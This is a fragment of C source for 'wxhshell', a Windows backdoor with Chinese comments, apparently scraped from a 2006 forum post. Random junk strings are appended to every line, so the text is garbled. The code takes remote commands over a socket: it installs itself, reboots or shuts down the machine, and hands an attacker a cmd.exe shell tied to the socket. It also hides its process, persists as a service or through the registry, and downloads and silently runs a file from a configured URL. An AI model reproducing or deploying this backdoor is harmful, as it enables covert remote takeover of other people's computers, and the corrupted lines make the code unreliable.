  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); *|C vK&7  
  } ,PJC FQMR  
  else { ouFKqRs;  
JxLfDr,dy  
    switch(cmd[0]) { R4k+.hR  
  [)0^*A2  
  // 帮助 2@ZRz%(Oa&  
  case '?': { 4Xt`L"f  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /PR 4ILed  
    break; oj'YDQ^uj  
  } O?A%  
  // 安装 ^si[L52BZ  
  case 'i': { ^~bd AO81  
    if(Install()) A+4Kj~`!  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "f~OC<GdYs  
    else cg9}T[A  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z> DQ  
    break; iAXGf V  
    } 7(^F@,,@  
  // 卸载 {&B0kjf  
  case 'r': { ?q2Yk/P  
    if(Uninstall()) BTG_c_ ?]e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Hfo<EB2Y9N  
    else `f~$h?}3-@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Lz:FR*  
    break; %4YSuZg  
    } Vw`Q:qo0:b  
  // 显示 wxhshell 所在路径 Pv\8 \,B9  
  case 'p': { \l 8_aj  
    char svExeFile[MAX_PATH]; `Gl[e4U  
    strcpy(svExeFile,"\n\r"); pm:-E(3#  
      strcat(svExeFile,ExeFile); aX |(%1r  
        send(wsh,svExeFile,strlen(svExeFile),0); (FgX9SV]p9  
    break; ZB/1I;l`c  
    } %Lh+W<;  
  // 重启 UK,sMKbl1  
  case 'b': { XAtRA1.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); =9 ^}>u  
    if(Boot(REBOOT)) QF*cdc<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^~@3X[No  
    else { Acd@BL*  
    closesocket(wsh); h5-yhG  
    ExitThread(0); YmjA!n  
    } Eelv i5  
    break; @>J(1{m=Gy  
    } 3/]FT#l]i  
  // 关机 y"U)&1 c%  
  case 'd': { BB(v,W  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); $4)L~g|  
    if(Boot(SHUTDOWN)) `R.Pz _oe  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T,vh=UF%]  
    else { Q |S>C%4?  
    closesocket(wsh); BS?$eai@:9  
    ExitThread(0); bz~aj}"`  
    } [/ertB  
    break;  y}|E)  
    } owVks-/  
  // 获取shell Yw5-:w0f  
  case 's': { wrXn|aV  
    CmdShell(wsh); } _^ vvu  
    closesocket(wsh); 3#>%_@<  
    ExitThread(0); Qc PU{#6  
    break; NPM2qL9&J  
  } ,\aL v  
  // 退出 eQn[  
  case 'x': { ?cKTeGrS  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,IE.8h)H  
    CloseIt(wsh); WpnP^gmX  
    break; %f1IV(3Qc  
    } Hr!$mf)h  
  // 离开 -Wh 2hWg+  
  case 'q': { {9x>@p/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ;f N^MW@&[  
    closesocket(wsh); _Rk vg-  
    WSACleanup(); dn Sb}J  
    exit(1); f\.y z[  
    break; cx&\oP  
        } ^W@%(,xb  
  } twbxi{8e.  
  } 8ZM#.yB B  
w9O!L9 6  
  // 提示信息 >gM"*Laa?  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NuUiW*|`7  
} z 1^fG)  
  } 3G2iRr.o  
Oe :S1f  
  return; *,*O.#<6  
} ~kSO YvK$'  
t*A[v  
// shell模块句柄 UX<-jY#'V  
int CmdShell(SOCKET sock) NJ-Ji> w  
{ T:H~Y+qnt  
STARTUPINFO si; 9&`";dg  
ZeroMemory(&si,sizeof(si)); >7~*j4g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; j|N<6GSke  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a l6y=;\jZ  
PROCESS_INFORMATION ProcessInfo; [C<K~  
char cmdline[]="cmd"; M*Ej*#  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); "+wkruC  
  return 0; S?C.:  
} / #rH18  
h{$k%YJ?  
// 自身启动模式 0( A  ?&  
int StartFromService(void) H{S+^'5Y.  
{ kS9;Tjcx  
typedef struct [6_.Y*}N  
{  .P")S|  
  DWORD ExitStatus; mU?~s7  
  DWORD PebBaseAddress; /`DKX }  
  DWORD AffinityMask; 37Q8Yf_  
  DWORD BasePriority; J:&.[  
  ULONG UniqueProcessId; -zqpjxU:  
  ULONG InheritedFromUniqueProcessId; \0_jmX]p  
}   PROCESS_BASIC_INFORMATION; Tcc83_Iq  
BnGoB`n  
PROCNTQSIP NtQueryInformationProcess; CmBgay  
>P\eHR,{-  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 1TR+p? "  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; | B*B>P#  
Bmcc SC;o4  
  HANDLE             hProcess; ABkDOG2br  
  PROCESS_BASIC_INFORMATION pbi; x|dP-E41\  
qBh@^GxY),  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); o$+R  
  if(NULL == hInst ) return 0; -1v9  
r Dlu&  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Nq8 3 6HL  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); UntFkoO  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); {Q_GJ  
a7F_{Mm  
  if (!NtQueryInformationProcess) return 0; Qzo -Yw`=  
H.' 9]*  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); C7*YZe  
  if(!hProcess) return 0; W;UPA~nT~  
!X~NL+  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7iwck.*  
dh [kx  
  CloseHandle(hProcess); \/;c^!(<  
J@E]Fl  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); >3KlI  
if(hProcess==NULL) return 0; fHEIys,{  
8#Z)qQWi_t  
HMODULE hMod; @SiV3k  
char procName[255]; 0a8\{(w  
unsigned long cbNeeded; h-;> v.  
<jF&+[*iT  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S Z/yijf  
bPP@  
  CloseHandle(hProcess); ipp`99  
X{, mj"(w  
if(strstr(procName,"services")) return 1; // 以服务启动 Us'JMZ~  
z~3ubta8(@  
  return 0; // 注册表启动 Ax;?~v4Z  
} 4dCXBTT  
etiUt~W  
// 主模块 M:%g)FgW  
int StartWxhshell(LPSTR lpCmdLine) :/szA?:W  
{ rg k1.0U0  
  SOCKET wsl; d v[.u{#tP  
BOOL val=TRUE; f:&JKB)N  
  int port=0; h@=@ fa  
  struct sockaddr_in door; 9"+MZ$  
:f39)g5>  
  if(wscfg.ws_autoins) Install(); 6'/ Zq  
p}1gac_c  
port=atoi(lpCmdLine);  ] ?D$n  
JQ0Z%;"  
if(port<=0) port=wscfg.ws_port; LTo!DUi`  
%%?}db1n  
  WSADATA data; 0|tyKP|J  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QK0]9   
R=E4Sh  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   WKlqm)m@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); { >izfG,\  
  door.sin_family = AF_INET; \i//Aq  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 8w:mL^6x  
  door.sin_port = htons(port); __QnzEF  
6V1oZ-:}  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { | |pOiR5  
closesocket(wsl); W$SV+q(rT  
return 1; #iv4L  
} SH=S>  
I5l%X{u"N  
  if(listen(wsl,2) == INVALID_SOCKET) { JkT!X  
closesocket(wsl); 85Yi2+8f4  
return 1; '[F`!X  
} hp2E! Cma  
  Wxhshell(wsl); bF_0',W  
  WSACleanup(); $poIWJMc  
gAsmPI.K  
return 0; Qu=b-9  
}(Fmr7%m  
} =CD6x= l6  
@Q2E1Uu%  
// 以NT服务方式启动 1) 2-UT  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E Zf|>^N  
{ 9D=X3{be#  
DWORD   status = 0; |mn} wNUN]  
  DWORD   specificError = 0xfffffff; ri59LYy=  
*kK +Nvt8s  
  serviceStatus.dwServiceType     = SERVICE_WIN32; l9eTghLi  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; .U|'KCM9m  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9(S=0<  
  serviceStatus.dwWin32ExitCode     = 0; ';Nc;9  
  serviceStatus.dwServiceSpecificExitCode = 0; H@wjZ;R  
  serviceStatus.dwCheckPoint       = 0; yy8BkG(  
  serviceStatus.dwWaitHint       = 0; K\xM%O?  
XBCHJj]k  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T$2A2gb `  
  if (hServiceStatusHandle==0) return; y< dBF[  
x  zF  
status = GetLastError(); YB4 ZI  
  if (status!=NO_ERROR) 1z&"V}y  
{ YQ?hAAJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 2(3Q#3V  
    serviceStatus.dwCheckPoint       = 0; YB7A5  
    serviceStatus.dwWaitHint       = 0; i>h 3UIx\  
    serviceStatus.dwWin32ExitCode     = status; *'aJO }$  
    serviceStatus.dwServiceSpecificExitCode = specificError; NwYQ6VEA  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); w2'z~\dG8  
    return; <>n|_6'$90  
  } |z_Dw$-xm  
,=Wj*S)~  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [3-u7Fx!  
  serviceStatus.dwCheckPoint       = 0; .Er+*j;&w  
  serviceStatus.dwWaitHint       = 0; 1/:vFX  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6-"tQ,AZ  
} diM*jN#  
s-WZ3g  
// 处理NT服务事件,比如:启动、停止 -nC&t~sD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) LA\3 ,Uv  
{ V(ww F  
switch(fdwControl) l6WEx -d  
{ bIBF2m4  
case SERVICE_CONTROL_STOP: iH-,l  
  serviceStatus.dwWin32ExitCode = 0; 2RNee@!JJP  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Lc}hjK  
  serviceStatus.dwCheckPoint   = 0; L7rr/D  
  serviceStatus.dwWaitHint     = 0; 5TuwXz1v  
  { 6<S-o|Xw  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R||$Rfe  
  } M61Nl)|mx&  
  return; lc5(^ ~  
case SERVICE_CONTROL_PAUSE: oP56f"BE(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; !L9|iC:8  
  break; ?OnL,y|  
case SERVICE_CONTROL_CONTINUE: m)<+?Bv y  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~s'}_5;VY  
  break; JP\jhkn  
case SERVICE_CONTROL_INTERROGATE: dPpQCx f  
  break; GR*sk#{  
}; `fEzE\\!*  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [|*7"Q(  
} u?SwGXi~8  
1:T"jsWw  
// 标准应用程序主函数 `g1?Q4h  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) O_2o/  
{ m2(}$z3e  
Ucy=I$"  
// 获取操作系统版本 dI7rx+L  
OsIsNt=GetOsVer(); lbovwj  
GetModuleFileName(NULL,ExeFile,MAX_PATH); $0$sDN6)x  
:/][ n9J^  
  // 从命令行安装  }+/Vk  
  if(strpbrk(lpCmdLine,"iI")) Install(); xh#_K@8  
LHZsmUM(dg  
  // 下载执行文件 6 .?0 {2s  
if(wscfg.ws_downexe) { 9 $X" D  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 0$Mxu7 /  
  WinExec(wscfg.ws_filenam,SW_HIDE); Sb2_&5  
} ,Q Ge=Exn  
/[>_Ry,  
if(!OsIsNt) { NkGtZ.!pk  
// 如果时win9x,隐藏进程并且设置为注册表启动 >+i+_^]  
HideProc(); SFuSM/Pf  
StartWxhshell(lpCmdLine); (Lz|o!>  
} Q-R?y+| x  
else Oz(=%oS  
  if(StartFromService()) m!<FlEkN  
  // 以服务方式启动 tuwlsBV  
  StartServiceCtrlDispatcher(DispatchTable); `:r-&QdU o  
else .e3@fq  
  // 普通方式启动 q$v0sTk0Y  
  StartWxhshell(lpCmdLine); snkMxc6c[  
s@%>  
return 0; SbL7e#!!  
}
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只看该作者 1 发表于: 2006-10-10
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